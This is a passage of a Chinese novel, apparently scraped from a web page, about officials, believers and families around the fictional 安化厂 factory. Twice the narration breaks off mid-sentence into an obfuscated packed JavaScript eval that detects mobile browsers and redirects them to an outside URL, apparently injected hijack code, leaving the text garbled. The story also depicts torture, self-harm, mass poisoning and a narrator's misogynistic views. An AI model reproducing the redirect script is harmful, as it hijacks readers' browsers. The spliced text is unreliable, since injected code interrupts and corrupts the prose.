恶人当道的监狱里,普尘道长的日子并不好过。从前在道观里,作为尊长的他几乎是衣来伸手饭来张口的存在。凡所需所想只需要使唤底下弟子去做便可,他每天只需晨起做功课至中午,午饭后休息片刻,再做功课至傍晚,如此日复一日,周而复始。道观中的一切吃穿用度,皆有政府补贴和信众供奉,也自不必他来操心。如此说来,监狱当中确乎是有一点与在道观相同的,那就是都不必担心吃穿。只是这当中稍有不同的是,在道观中普尘的吃穿都是最好一等,而在监狱中,他没得选也不能提要求。这对于金银细软了大半辈子的普尘道长来说,着实花了很长一段时间来适应。 而吃穿的不适应仅仅是一方面。权威的丧失对于普尘道长来说是最难以接受的。从前在道观里众弟子无一不听从于他。在监狱里,首先他要听从于狱警,其次他作为初来乍到的新人,也要听从于那些凶神恶煞的地头蛇老大。因为不堪被辱骂,年迈的普尘道长夜夜向自己信奉的天尊三圣请愿,祈祷他们现身带他升仙,脱离这苦海。 每每听见普尘道长犹如梦语般的祷告,旁人都只当他是个被洗脑的疯子。 普尘道长原名,蒲旧园,祖上曾出过有名的数学家,他出生时,家境早已衰落见底,他的亲友皆去世,是道观的师傅收留抚养了他,自懂事起,他就从没远离过道观,一日三餐,一年四季,他除了在天尊三圣面前研习修仙之道,再没有旁事。他是真心虔诚地供奉着自己的信仰,也是真心虔诚地相信着,只要机缘一到,自己就可以得道升仙。 半年后,他在监狱的冷床板上坐化而去。传闻讲,次日狱警发现他时,他的白发一夜复黑,面庞也容光焕发,如同青年。 从不相信仙神之说的庄立春将管红军喊到近旁。 「如今正是严打时期,如果让这群黑布衫行头长期逗留此处,你我这职位怕是很快就会保不住。既然他们不吃饭,那就去找几个可靠的人,往水里加点东西。」 「明白。」 隔天,龙二的信众们纷纷闹起了肚子,但这小小的磨难并没有打消人们对信仰的坚定。。 「需要换一剂猛药了。」 「明白。」 此后接连半月,广场上每天都有信众死亡,而庄立春并没急于处理这些尸体,而是将其如同小山般堆积在最显眼的位置。见效果然是极快的,在尸体的恶臭逐渐盖过红气球里泄露的气味时,安化厂的信众几乎都四散干净了,只剩下寥寥无几的几个。 而面对信众的死亡和流失,龙二全程没有睁开眼睛,他淡定得近乎冷漠。那虚掩的面具下,没有人知道,他究竟在想些什么,更没人知道,他信仰的神究竟是谁,他除了那些模糊不清的咒语,再没多讲过任何话。久而久之,退出宗教的人们开始议论,他最初的信众从何而来,又是缘何对他死心塌地追随,这些人们都无从得知。关于他究竟是善是恶,是真是假,也无从得知。 又过半个月后,广场的尸体被清理干净,他睁眼起身,露出琥珀色的眼眸,如同宝石般清澈耀眼。他一言不发,身披黑布衫,带领虔诚的信众继续向东方离去。 如愿赶走龙二的教众之后,庄立春着手继续推进重建的工程。上级的拨款一批又一批地到账,房子也慢悠悠地一层接一层地高起来。五年后,安化新厂的竣工仪式在崭新的同心湖广场举行。古秀梅依然没有醒来,而我已然再次满头白发。 退休后在乡野与世无争的陈传富,也难得出来露脸。他丝毫看不出是已经八十岁的老人,体魄依然健硕,精神明朗。他那个叛逆的女儿陈天娇多年前和一个绿人结婚,并在生下一个混血的孩子后惨遭抛弃,后又嫁给了一个巧克力肤色的流浪汉,至今没回过安化厂。这在安化厂一直是个不能明面说的秘密。过得不幸的人们时常用这件事情彼此安慰:「唉,要我说,如今的生活也该知足了,瞧瞧那陈局长,倒是做大官贪得盆满钵满,有什么用呢,老婆死了情人跑了,唯一的女儿又那个样子,唉,纵使有那么多钱财和权力又有什么用呢。」也有传闻说陈天娇最终饿死在异国寒冷的垃圾桶旁,但是并没有任何人佐证。 而陈传富和众人一直不知道的是,陈天娇早就知道可能是父亲杀了母亲。母亲长袖衣衫下的伤痕她都知道,这也是她宁死都不愿意再回安化厂的原因。自从无意在地下室虚掩的门缝里,亲眼看见父亲将母亲的指甲拔去,并强迫她吞下,父亲还将铁黑的电棍捅进母亲的两腿间,母亲仿佛一头砧板上的牲畜,持续发出阵阵悲惨的尖叫,如同从地狱而来的厉鬼。那年的陈天娇刚满六岁,此后,她的一生都在痛苦的撕扯中度过。无辜的她深爱着自己的父亲和母亲,所以导致她既不能恨得彻底,也无法爱得坚定,只能通过不断地折磨自己,来强行覆盖心中的痛苦。 陈天娇的手腕有一处不小心烫伤的疤,中学时,她觉得那道疤的形状不好看,于是便用燃气灶将勺子烧红,然后给自己烫了一道椭圆形的新疤。新的烫疤虽然更丑,但这是她主动选择的,她并不觉得疼。 讲到陈天娇,就不得不讲我那个远走他乡的舅舅,曾经在异国,他二人也是有过诸多交集的。而我的舅舅后来也用一生诠释了一句话:搞行为艺术的穷鬼都没有好下场。 绿人男友跑了,陈天娇抱着孩子被房东赶了出来。陈传富给了她非常多的钱和信用卡,但她都交给了男友。好心的舅舅收留了她,在自己蜗居的桥洞底下,分给她半块破纸箱。这是陈天娇第二次搬进舅舅的居所,这里四处漏风,却有些别处没有的安宁。 舅舅总是把最干净的食物分给陈天娇,他时常提起我: 「你如果是我那大外甥,敢把日子混成这样,我一定把你腿打断。」 舅舅是毫无血缘关系的家人里最挂念我的,这点我很是感激他。所以后来,我常偷偷给他寄钱,有时候几十块,有时候几百块,毕竟我这人是极其抠门的,而且我在安化厂的工作总是偷奸耍滑,工资接连被扣,每月拿到手也所剩不多。 在还没来得及把我的腿打断时,舅舅的腿就被一群橙色皮肤的人打断了。起因是他又在街头,临时表演起偷钱包的行为艺术,而那群橙色皮肤的人,最是痛恨艺术和偷盗,所以舅舅越是解释,那些人打得越很,又因其经常表演此类行为艺术,惹得街上邻居早有不满,众人纷纷选择冷眼旁观,竟无一人报警。数十分钟后,天空飘飘摇摇地落下许多鹅毛,是舅舅唯一的一件冬袄被撕碎了,橙皮肤们筋疲力尽、骂骂咧咧而去。层层叠叠的鹅毛,重新聚集在舅舅的周围,他只剩微弱的一丝呼吸。没出几分钟,雪白的鹅毛被他浑身渗出的血所染红,他却突然大声狂笑起来。 「哈哈哈……哈哈哈……」 笑着笑着,他被胃中翻涌而出的血呛到,开始咳嗽,渐渐整个人蜷缩成圆圆一团,像一枚草莓味汤圆。 「舅舅,什么是行为艺术?」 「我的小阿生啊,行为艺术就是用合法的方式做法律之外的事情。」 「为什么非要做法律之外的事情呢?」 「因为如果是一个开放、包容的好社会,那就不存在行为艺术。因为合理的不被允许,所以才需要反抗,才有了行为艺术。」 「可是,偷东西本就是不对的呀。」 「如果仅仅是为了一己私欲而去偷东西,自然是不对的,但倘若这个社会的资源分配不均呢?倘若有人光明正大抢走了你的东西呢?这时候的偷,就不再是你以为的偷了。小阿生,改变这个社会的方式,不止从政当官一条道路。每个人有自己擅长的部分,也有很多像舅舅这样的人,我们没有读书的天分、没有缜密的语言逻辑和八面玲珑的社交技巧,但我们有勇气、不怕被千夫所指。你读过历史,应该知道许多伟大的思想家,其观点和行为往往是远远领先于他所生活的时代的,这也是他们时常被误解的原因所在。」 「那你做行为艺术家,是想表达什么呢?」 「你写这本书是想表达什么?」 「 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422498|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,我时常觉得自己的生活太一潭死水。我以为看尽了世间真相,所以总自命不凡地俯视人间。我看着人类所写出的那些无脑的、废话的、被规训的文章,每每读来总是无尽的头痛。我想留下一本书,它不受任何道德礼教的约束,不为任何主义和教派而作,它诚实地记录我的思想和生活,不高尚也不高级,非常普通。是的,死之前我想写一本普通的书。它就如同野外生长的一棵树,跟随太阳和雨水,没有工人修剪枝条,也不给它制定笔直的轨道,我诚恳地尊重它的自由生长。」 「所以,你也是一名行为艺术家。」 「我吗?」 「当然,因为这样的书是不被允许的,它极有可能不会被阅读也不会得奖,但你却正在写下它,而且它将来会越来越浩瀚。」 舅舅的一生,做过一万件行为艺术,偷东西只是其中的一个类目。他教水果识字、伪造票据去银行取钱、带癌症病人从楼顶跳下遨游天际、把陌生的骨灰做成饼干喂给流浪狗、每天从幼儿园随机偷走一个孩子带去游乐场,傍晚再送回,且半年没被发现…… 舅舅每次偷了钱包,都只会留下一块钱,剩下的便会原封不动还回去。他说,一块钱是为了要给被偷的人留下深刻印象,如果分文不取,他们是不会以此为戒的。 刹那间,我感觉舅舅非常伟大。 黄豆豆和古妙心也作为中央代表,来到安化厂。黄豆豆穿着雅黑色的行政夹克,鼻梁上架着一副金丝眼镜,举手投足,语气神态已然是沙达康的复刻。古妙心则盘着纹丝不乱的长发,身穿朴素的长裙套装。两人手挽着手,笑盈盈地出现在同心湖广场,一经出现便被围得水泄不通。人们纷纷向前与他们握手问好,两人也始终笑眯眯的,非常有礼貌地逐一回应。两人在来到这里之前,已经从秘书那里得到了在场大部分人的资料,所以每个人的名字都信手拈来,这使得他们在公众面前的形象大大加分。 他们还特地来到医院慰问了还在昏睡中的古秀梅。病床前,壮年的黄豆豆真挚地握起我的双手,那样真诚的眼神,除了从王小小、老庄、庄嫂的眼里,我再没从第四个人的眼里看到过。那一刻我认定黄豆豆是一个好人。 也是从他和沙达康身上,我才知道真正能做到顶级的官僚,他们身上往往是朴实的、没有浓重的功利气的。并不是说他们本质上就如此。这就如同一个人的修炼,低级的修炼是庄立春、陈传富这种,他能坐到中等位置,其身上的精致利己、官僚气息极其的浓重。而真正修炼境界高的人,便是沙达康和黄豆豆这种,他们身上有一种返璞归真、平易近人。他们令你心甘情愿的臣服于他们、追随他们。 古妙心还带来了她亲手做的豆沙糕。 「听父亲说,姑姑年轻时最喜欢吃这个。我凭着记忆中的味道做的,不知道像不像,您可以给她尝一尝。」 这样真切的情谊,令我这个迟暮的老人当场潸然泪下。 流泪之余,我问起关于龙七的近况。 「阿七现在很好,他在□□里工作。现在已经是非常资深的文化管理者了。只是他太沉迷于工作,所以并不能回来看您二老。」 而关于黄豆豆所说的这些,我的记录里都是模糊的,除了偶尔从新闻和报纸的版面里找到龙七写的相关文章,此外,我再没有其他任何渠道可以接收到关于他的消息。事实上龙七和黄豆豆古妙心一样,三个曾经热血、奋进的青年,在沙达康高明的政治洗礼下思想慢慢的被拨乱反正,他们踏上了更为正确的道路。而他这许多年之间一直不曾联系我们,只是因为他与古秀梅的理念,从最开始的同志变成了后来的背道而驰。古秀梅所倡导的全民平权、全民选举,在后来的龙七看来是摧毁国家机器的有毒思想。 而关于龙七是如何被拨乱反正的,这个过程的确是有一些漫长而隐秘的。 在中央政府大楼的地下第五层。那里潜藏着这个国家运行的秘密,在龙七和黄豆豆等人共同创办了青年求是报的六个月后,三人便被沙达康邀请进了地下五层的秘密房间里。那是一个光明磊落的空间,没有任何阴影和灰色,政府机器运作的秘密,全然袒露在其中。 沙达康邀请他们任意浏览,而自己则坐在门边的红木椅上,缓缓开口:「你们是不可多得的好青年,自由、开放、热忱、坚定,这个国家的未来需要像你们一样的年轻人,因为只有你们来掌舵,国家才不至于腐烂。但,政治不是理想主义的游戏。这个房间里的所有资料,他们中的每一个人,都曾经是像你们一样的理想主义者,结局呢,死得死,疯得疯。杀身成仁,名流千古?我年轻的朋友们,死了就什么都没了,身死,而无一物,你的理想要实现,首先要做的就是活下去,比那些恶人、比这个恶心的世界,更长久地活下去,然后便是想尽一切办法地爬高位,哪怕是暂时的蛰伏、虚伪、背叛自己,也要拼命往上爬,因为只有你活着站在最高的位置,只有你活着掌握了话语权,你才能有机会去实现自己的理想。空洞的口号、煽动的句子,谁都会喊,但忍耐和蛰伏,并非常人所能为之。政治,是可以杀人不见血的,你们想要在这个兵不见刃的圈层里,去实现自己的抱负,就必须学会这里面的游戏规则。你们要时刻把自己当成是最后一个战士来战斗,牺牲是最容易的事情,战斗,且持续伪装下的战斗是最艰难的。我们的理念从来都是不同的,但我并没有抹杀你们的可能性,因为历史已经过去,而将来谁也说不准,哪个主义是真正正确的,可你们必须记住,并非人人都像我这样,允许不同和反对的声音出现,更多的人,在你发出声音的当下,便会想尽办法将你永久地排挤出去,你们现在要做的,就是想尽一切办法让自己留下来,然后竭尽所能地往上爬。」 龙七、黄豆豆、古妙心,眼望着满屋沦为政治炮灰的人物资料,每个人心中都千头万绪。 沙达康起身往外走:「别急着一下子就想清楚,慢慢来,你们还有时间。」 门外,他低声叮嘱副手:「密切关注着。」 25. 妙心 安化新厂顺利落成,古妙心结束流程后,便驱车前往了城北土地庙。她轻声扣门,良久,步履蹒跚的黑熊缓缓从里面打开门。 古稀之年的他仍旧是一身青灰长衫,极短的头发,和一副老旧的眼镜,深深浅浅的褐斑取代了硬朗的牙齿,他却浑然不觉,照例生活作息如常几十载,眉眼间更添了几分法律人的庄严肃穆。他崎岖的手指里依然不肯放下那本厚重的大部头书,那书像一块古旧的秤砣,拽得老态龙钟的他整个人往右侧倾斜着,仿佛随时要摔倒一般。 「是小古部长啊,快请进。」黑熊见来人是古妙心,很是高兴。 「黑教授,近来身体如何?上个月安排的体检听说您没去,我这上门来请您了。」 说着,黑熊已添好了茶水。「老骨头了,体什么检啊。」 古妙心很是家常地说道:「这是什么话,要检查的,咱们的目标还任重而道远呢,我可不想到时候用轮椅推着您去议会大厅。」 「放心,我老头子是不会允许这种情景发生的。」黑熊的话语间很是爽朗。 古妙心端起残缺的茶盅,却迟迟不能送进嘴里,「教授,这次我们的支持率已经过半了,自从我进入议会委员组以来,二十年了,这是关于废除家暴法案的第一次过半。还记得与您初次相识时,您坐在妇联提案组的议席里,也是这身青灰长衫,您面前摞着厚厚一沓文书,目光坚韧,如同燎原的火炬,演讲出的每一个字都振聋发聩。如果说,在那之前我选择踏进政治这条路,还是受家族的影响,在那之后,我才真正意识到自己的使命和理想是什么。不止家暴,反对一切暴力和不平等,是我此生唯一的志愿。教授,请您务必和我一起走下去,直到光明来到的那一天。」 黑熊望着面前这个被时间不断抚摸着的年轻人,准确地说,她的脸庞已经不再年轻,但她的本心却从未变过。独居在城北荒庙的黑熊,听着、看着门外的世事变迁,好人受尽挫折,坏人长命百岁,他也曾经不止一次对这个世界动摇过,而此时此刻,他望着已经中年的古妙心,感到世界是如此的充满希望,未来是如此明朗。 如果我说古妙心是我擅自虚构的角色,会不会显得过于无情。这本书里完全虚构的角色并不多,孙悟空和古妙心算是其中两个。在这个时代里,以古妙心的天赋,尤其是性别,她是绝无可能站在当前的位置的。在权利的高山,从半山腰开始往上,就再也不会出现任何一个女生的身影。 女人们太重视付出,极容易感情用事,总是喜怒无常、不按常理出牌,天然的圣母心结,让她们总是忍不住同情弱者,又仰慕强者,这也就导致了她们本身毫无原则,对世界和他人的标准,一变再变。与之相比,男人们各方面就稳定得多,他们目标明确,为达目的时常不择手段,这或许会显得有些冷血,但若从宏观角度考虑,却是极其负责的表现。毕竟作为一名被管理的人民,从我个人而言,我是极其厌恶朝令夕改、又情绪化的政府的。确切的被剥削,总是要比不确切的自由,好的多。 而且,从来都没人能确定,那种不确切的自由就是好的自由。 根据我这几千年接触过得数以亿万记的普通人的经验来说,绝大多数的人,其实并不渴望绝对的自由,甚至讨厌改变。这似乎是源于人类骨子里对居无定所、食不果腹的原始焦虑,他们更渴望稳定。这就如同安化厂的人们,每个人都在骂它,骂它压抑人性和思想、骂它薪水微薄勉强维持生计、骂它日复一日的机械劳作,剥夺了他们作为人的享受生活的基本权利,可骂归骂,安化厂自建厂挂牌至今百年,除我和姜飞鸿以外,再没出过一个迟到早退的员工。 所以我也就知道了,大多数人类的绝大多数语言其实并不具备任何意义。人们不分昼夜地说话,只是血脉里为了延续文字文明,而值得一提的是,这并非出自人类的主观选择。 此刻,随着年龄疯长面目愈发丑陋的老独眼张正与我探讨,他牙齿已经掉光,青灰的人嘴唇紧紧包裹在牙龈,语言含混不清:「有时候,我时常感到有不止一个自己,比如其中一个我正在与你聊天,而另一个我则冷脸站在旁边,他对我与你之间毫无营养的谈话嗤之以鼻,午饭吃了吗?今天天气不错哈,听说厂里要改革了……不同的对象、相同的对话,内容毫无深度、不好不坏。真话假话都不可说,假的良心过不去,真的瞻前顾后不敢说,于是满嘴废话。这许多年,我内心一直为雷雷的死深深愧疚,我分明可以更早告诉许绣蓝和王小小的,甚至是阻止那场暴力发生。我信任兰雪和云朵,但我却无论如何都讲不出来,仿佛我的牙齿是一座牢笼,所有可以使我解脱的话语都是囚禁其中的恶犯,永世不被释放。苍天剥夺了我用语言进行自我救赎的机会,我看似自由地活着,实则每天都在服刑。然后我开始练习做个哑巴,我记录自己每一次开口发出声音的时刻,发现日常生活所需要的语句,其实少之又少。直到前几天,云朵的三十九岁生日,我猛然意识到,它在三十九年里不曾学会一句人类的语言,但却与所有人相处得毫无隔阂。所以,语言存在的意义到底是什么呢?我既不能用它传达真相,也不能用来忏悔。」 「语言诞生之初,本就是作为一种工具。扫把的意义是清除垃圾,杯子的意义是用来盛水,语言的意义是用来交流和记录。」 「交流什么?又记录什么呢?交流和记录的意义又是什么呢?」 「独眼儿,意义这两个字本是就是无底洞,解释了一层,还有第二层,解释了第二层,还会有第三层第四层。你最好是将思考强制停止在第一层,语言它就只是工具,而且是可用可不用的工具,它的意义是取决于使用它的人,用它来做什么。我讲得交流和记录,仅仅是它在我生活里的意义,而对不同的人而言,它的意义千差万别,甚至我们也要允许对某些人来讲,语言毫无意义。」 「没有统一意义的事情又怎么会绵延发展了数千年呢?人们不约而同地使用它、遵守它的逻辑和规则,对它进行书写和演变,当中一定是有驱动力的。」 我意识到独眼张掉进了思考的漩涡里。我忽然对当局极端控制人们思想的举措,感到无比明智。并非人人都有能力在漩涡当中,力挽狂澜,乘船返航。更多的人,会在瞬息万变的涡流里迷失自我,陷入无穷尽的自我追问、怀疑、辩论,直到最终,彻底掉落其中,失去了现实世界里生活的能力。 当一个人开始不停地探寻「意义」和「价值」,那就需要警惕了。 四季轮转、花开花落、生老病死、柴米油盐,生命里确切的感受和事件,密密麻麻排列不尽,一旦开始思考便覆水难收。为什么要经历四季?来年的花还是今年的这朵吗?既然终将走向死亡,活着的意义又是什么?为什么生而不平等,有人含着金汤匙,有人却被抛弃在桥底? 可我只是一个记录者。 我的过往和未来里,都没有写答案。 担心独眼张会因为过度的无用思考而走向不归路,我和兰雪商量后,决定去厂办举报独眼张的思想问题,好让独眼张及时接受「正确」的思想改造。 于是在一个绵绵雨天,退休多年的我,撑着褪色的铁骨伞,走进了安化新厂的办公楼。 它改头换面,没有丝毫当年红砖水泥墙的影子,崭新坚固的超纳米钢板结构,通体的落地玻璃外墙,就算是阴雨天也闪闪发亮。办公楼里更是角角落落都白净得刺眼,迈进去的第一步,我甚至下意识地捂起眼睛,避免得雪盲症。短暂的适应后,我缓慢睁开眼睛,走廊里铺了松软的鹅毛地毯,纯白的,如同踩在云朵上。抬头望去,在十九层的楼顶,东西两侧各悬挂着一枚人造太阳,一颗全天常亮,另一颗则是备用。除此之外,整栋大楼里再没有任何一件装饰品,我站在这栋既奢华又朴素的建筑物里,感到自己被时代重重地甩在后面。 一个年轻人从某扇雪白的墙里走出来,仔细一看才发现那是一道门。我不由自主地联想到吕文生,他曾经也是在这里,不止一次地被迫踏进那扇隐秘在墙壁里的门,而现在,这里嵌着数不清的暗门,还好他没活到现在。 年轻人非常礼貌地冲我微笑,他认出了我,并询问我有什么事,来找谁。 我略微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422499|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶于自己的德高望重,随即才反应过来,我来不及去详细探究眼前人姓甚名谁,只想知道厂区的新思想办公室怎么走。 「林师傅,新厂已经没有这个部门了,您没关注新闻么?黄主席颁布了新规定,今年开始全国思想放开了,所有艺术、哲学、历史都放开了。」 我惊愕了几秒,很快接受了这突如其来的改变。黄豆豆和龙七,终于不忘初心地实现了他们的理想,而我却不知该是喜是忧。 七十七岁的古秀梅,在金秋麦子丰收的清晨,缓慢睁开了眼睛。距离她睡下已经过去了十年,我扑进她怀里大哭不已。 从古至今,我好像习惯了将自己的苦难风轻云淡地一笔带过,我拥有比普通人类更为强大的身体,可是我痉挛的血肉、斑驳的白发和皱纹、以及阵阵疼痛的关节,都是如此确切的证据。她沉睡的这些年,我强迫自己在沉重的生活里渐渐麻木,因为唯有麻木,方可获救。如果我敏感、脆弱、幽怨,那恐怕连七个日夜都熬不过。如今当她如同平常般醒来,失而复得却并未让我陷入喜悦,反而是如释重负般地将自己压抑多年、无处倾诉的恐惧和艰苦,倾吐而出。我的胸膛里矗立着一座大坝,经年累月地加固增建,用的是我的血肉和魂魄,它建得越高越要,越是消耗我的寿命。 如今,我终于不必再供养这座大坝了,她的归来,给了我拆除它的底气。 古秀梅变得比从前更加温柔,她耐心地抚摸着我的头发,肌肉的退化,令她暂时还不能流利地使用语言。 我在哭,她却在笑。 于是我哭得更大声,她愈发笑得大声。 兰雪带着云朵来祝贺古秀梅醒来,并告知我们,独眼张卖掉了家中的房子,他们已经决定带云朵往南方迁徙。艺术政策放开后,陷入思想漩涡的独眼张,每天都闷闷不乐,他开始整天整月地不讲话。他购置了大量的锉刀、斧头、螺丝、水彩和画笔,耗时八十一天,在自家天台上,制作了一架巨大的风筝。 「占礼说想去暖和的地方看看,他的腿这几年愈发不行了,遇冷便疼得厉害,在安化厂的冬天对他来说是非常难挨的。云朵自出生起,也从未自由自在地飞翔过,而我希望他们能够快乐,他们就是我的全部生命。」 当晚,月满如玉盘,星光棋布,在麦场轰鸣的收割声中,独眼张和兰雪坐上了那架巨大的风筝,云朵振动翅膀,盘旋在他们身旁。整个安化厂的居民都看到了他们随风而起的场景,雪白的巨型风筝,从街角的二层建筑楼顶,乘风跃入墨蓝的苍穹,人们纷纷停下手中的劳作,不约而同地目光追随向那一大一小两抹白色,被改造数百年,早已不知自由为何味的人们,此刻心中悸动如雷,他们皆以为那是内心对勇敢者的崇拜与震撼,殊不知,是基因里对自由的原始渴望。所有人都由衷地为他们感到开心,哪怕是从前那些曾经唾弃过他们的人。 人心中的成见,在时间面前,似乎总是水滴石穿的。或许是因为人一旦老去,连最基本的大便通畅都成了问题,便没有多余的气力去谩骂了吧。而我实在不愿称这些人为好人。 我开始教古秀梅学习说话。 翻箱倒柜找出林有饭小学时的教材,皱巴巴的书本里,翻开第一页便是他用铅笔写的大大的名字,恍若隔世,觉得甚至可爱。 古秀梅缓慢调动肌肉,用蹩脚的口音挤出四个字:「好……丑……像……你……」 我非常自豪地接受了她的褒奖。 我抬手提笔,迟迟不能写出一个完整的字。屡次失败的间隙,我栗然意识到此时此刻的特殊性。不知不觉间,我似乎忘记了自己作为一个记录者的本质,完全沉浸在这个名为林复生的人类角色里。公元 3064 年 9 月 6 日,星期一,风和日丽。我脑海中浮现出与今天相关的历史档案: 民安街尽头的城北古庙,白蚁将房梁蛀空,屋顶坍塌,正在伏案翻译律法文献的黑熊,瞬间被掩埋,巨大的声响和腾空而起的灰尘,很快吸引来周围居住的人们,热心的青年纷纷上前救人。而深陷在一片黑暗中的黑熊,很快就没了呼吸。 26. 立春 我回神打量起自己和古秀梅的老房子。墙壁昏黄,原本逼仄拥挤的客厅,在今天显得格外宽敞。这间比我还要年老的木头房子,从最开始作为我、王小小、老庄的宿舍,后来成了我和古秀梅的婚房,迎来有饭的降生,孙子们陆续被送进这里,又随着年龄增长,陆续离开,留下龙九、龙八和庄嫂回来,许绣蓝搬进来,在古秀梅住院的期间,我又送走了无法适应红气球泄露后的空气的龙八和庄嫂,许绣蓝被龙五接走。这所房子,就像是一所沉默的驿站,所有人来来去去,只有我一直都在这里。无论对于安化厂,还是这个世界,我的角色从来如此。 红气球的泄露是缓慢而漫长的,整个过程持续了三十年,也因为其仿佛没有尽头的缓慢和漫长,人们的恐惧被慢慢消磨,从最开始的害怕、逃离,到后来,所剩下的人们几乎完全无视和忽略了这个日渐消瘦的庞然大物。哪怕是视政绩高于人命和良知的庄立春,也对其失去了耐心,他经过专业人士的推算,明确了在自己就任期间,等不到红气球覆灭的时刻后,便全然放手了此事,不再与政府部门因红气球而多做交涉。 何曼珠却考入了环保局做资料员,她成了市里唯一最关心红气球的人。 红气球被制作出来时,龙八还没有出生。在他的记忆里,红气球和太阳、月亮、星星一样,是天然就存在的,是造物主的创造。自然他也不知道,红气球是人类为了暂时收集排放的污染气体而制造的,在他之后出生的所有孩子们都不知道,他们被迫享受着红气球之外的好空气。大人们不知出于何种心理,都不约而同地保持缄默。直到红气球再也无法承受,而曾经的大人们开始陆续衰老,老去的身体成了他们的免死金牌,他们否认自己的作为,也拒绝承担应付的责任,他们言辞凿凿、信誓旦旦,描述自己曾经生活的艰辛和不易,企图借此来弱化自己的原罪。 这是人类的惯用伎俩。 庄嫂病入膏肓时,我几次受托去请,庄立春仍是不愿来看她一眼。他总是大把大把地给钱,请最好的医生,用最好的药,却无论如何不愿露面。庄念秋从羊城赶回来,她与年轻时的庄嫂几乎一模一样,只有身形胖瘦的差别。 中年仍旧独身的庄念秋,耐心地照料着庄嫂。庄嫂在昏迷中呢喃道: 「小秋啊,你哥哥怎么会变成这样呢?小时候多懂事的孩子啊,怎么会……」 自庄立春幼年时,老庄和庄嫂便为了赚钱起早贪黑。从记事起,庄立春每次清晨醒来,家中便只有他自己。几乎所有小学生的作文里,都有自己生病父母带其去医院的情节,但庄立春没有,他发高烧时,老庄为了省钱,冬天将他泡在冰水里,那时他四岁,他感到自己真实地死掉了。然而在庄念秋没出生之前,庄立春并没怨过父母,但同样是发烧,他们将他锁在家里,连夜带妹妹去了医院。直到第二天下午才回来,而他就一直被锁在家里,没有饭也没有水。 在庄立春的成长记忆里,老庄和庄嫂既不严厉、也不温情,他们仿佛是生活在同一屋檐下的邻居,彼此之间少有的谈话,总是透露着尴尬和生分。但他旁观着庄念秋和父亲母亲的相处,却像是另一个世界的剧情,父亲老庄会时常抱着她喊乖乖,母亲也总为她添置漂亮的新裙子。而年幼的庄立春,却只能默默坐在一旁,埋头写作业。 久而久之,同学们也看到了庄立春和他妹妹的区别,「捡来的」流言开始在学校里传开。 「你们偏心,只对妹妹好。」 「臭小子,家里缺你吃还是少你穿了?妹妹身体弱,爸爸妈妈多照顾她不是应该的嘛,况且你还是哥哥。」 「都是借口,都是借口!你根本就是不想管我。」 「再大喊大叫,打断你的腿信不信!」 「消消气,都消消气,小春啊,爸爸妈妈怎么会不管你呢,在爸爸妈妈眼里,你和妹妹都是一样的。」 「撒谎,根本就不一样,我不会再相信你们了,大骗子,你们都是大骗子。」十四岁的庄立春边哭边喊。 愤懑的老庄抄起一把凳子,便砸向了儿子的腿。 「原本,立春在马城是已经站稳了脚跟的,庄伯伯过世后,庄婶婶给他的原学校写去一封书信,让他回来带孝出殡,学校转寄到他的工作单位,然后他的妻子和岳父、包括所有同学同事,就都知道了这个他一直费尽心机隐藏的家世秘密。或许在庄婶婶和你我看来,这秘密并不算什么,毕竟,并非人人都有好出身,而且就算出身差那又如何。但对于立春来说,颜面尽失,与杀了他无异。而且那些生来就在马城的人,是不会允许他这个例外存在的。有了这个家世,他在马城就像是原始时期脸上烙有印记的低等奴隶。那个城市我去过,等级制度之严格,令人绝望。」 我听着何曼珠的讲述,这一切与我的记录中的内容都分毫不差。但我却无论如何都无法将其与朴实的老庄和庄嫂联系在一起。在我认识他们的时候,两个人就像老牛一样,为了远方儿子的好前程,不顾身体地拼命工作。而我也深知人的复杂性,并没有再继续劝说庄立春去看庄嫂。 设身处地地想,如果是我,我并不希望有人罔顾事实地劝我善良。谅解别人固然伟大,但选择不谅解,也是他基本的权利,即使他并非一个传统意义上的好人。 庄立春贪婪、自私,甚至滥杀过人性命,但我并不具备审判和引渡他的资格,我也不是什么绝对的好人。反正已经写到现在了,我也懒得继续伪装,我从不相信也从没见过这世上有绝对光明磊落的人,只是有些人的恶念付诸了行动,有些却因为各种主观的、客观的原因隐藏起来。我就不止一次动过诅咒他人的念头,但囿于我是个胆小如鼠的怂货,刀,厨房里都有,但勇气和胆魄并非人人都有,我就没有。发情的时候,已经是各种意义上最硬气的我了,其他所有时刻,我都和绝大多数男人一样,软得像条烂肉。 坦诚地讲,我非常清楚自己这辈子最大的成就,就是和古秀梅结婚,她已经是我所能征服的最高山峰。这段言论必然会为我招来非议,但我必须诚实地陈述自己的一切思想。再次强调,这并不是一本虚构小说,这是客观的历史。 古秀梅的肌肉恢复得很快,不久,她就可以正常对话了。我把自己刚才的言论与她分享,她吧唧给了我一巴掌。 「林复生,我认可你的诚实,但我非常生气。」 太好了,古秀梅说她认可我。 思想开放的新政策,对安化厂的冲击是巨大的。 对于这突然得来的自由选择,人们先是诚惶诚恐,害怕是政府的某种排除异己的试探,历经确认后又纷纷手足无措,一群习惯了被禁令勒住脖子的动物,突然松绑了绳索,反倒陷入了巨大的不安当中。 